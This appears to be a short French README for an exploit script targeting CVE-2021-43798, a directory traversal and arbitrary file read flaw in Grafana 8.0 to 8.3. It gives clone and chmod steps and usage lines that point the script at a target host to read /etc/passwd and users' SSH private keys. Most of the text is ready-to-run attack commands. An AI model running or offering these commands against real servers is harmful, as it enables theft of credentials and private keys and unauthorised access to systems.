
Traversée de répertoire et lecture arbitraire de fichiers sur Grafana
Traversée de répertoire et lecture de fichier arbitraire sur Grafana
Auteurs :
Wagner Alves - Analyste Red Team
Cet exploit exploite les vulnérabilités de traversée de répertoire et de lecture de fichier arbitraire dans Grafana 8.0 - 8.3, permettant de lire des fichiers tels que /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release et d'autres fichiers intéressants.
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa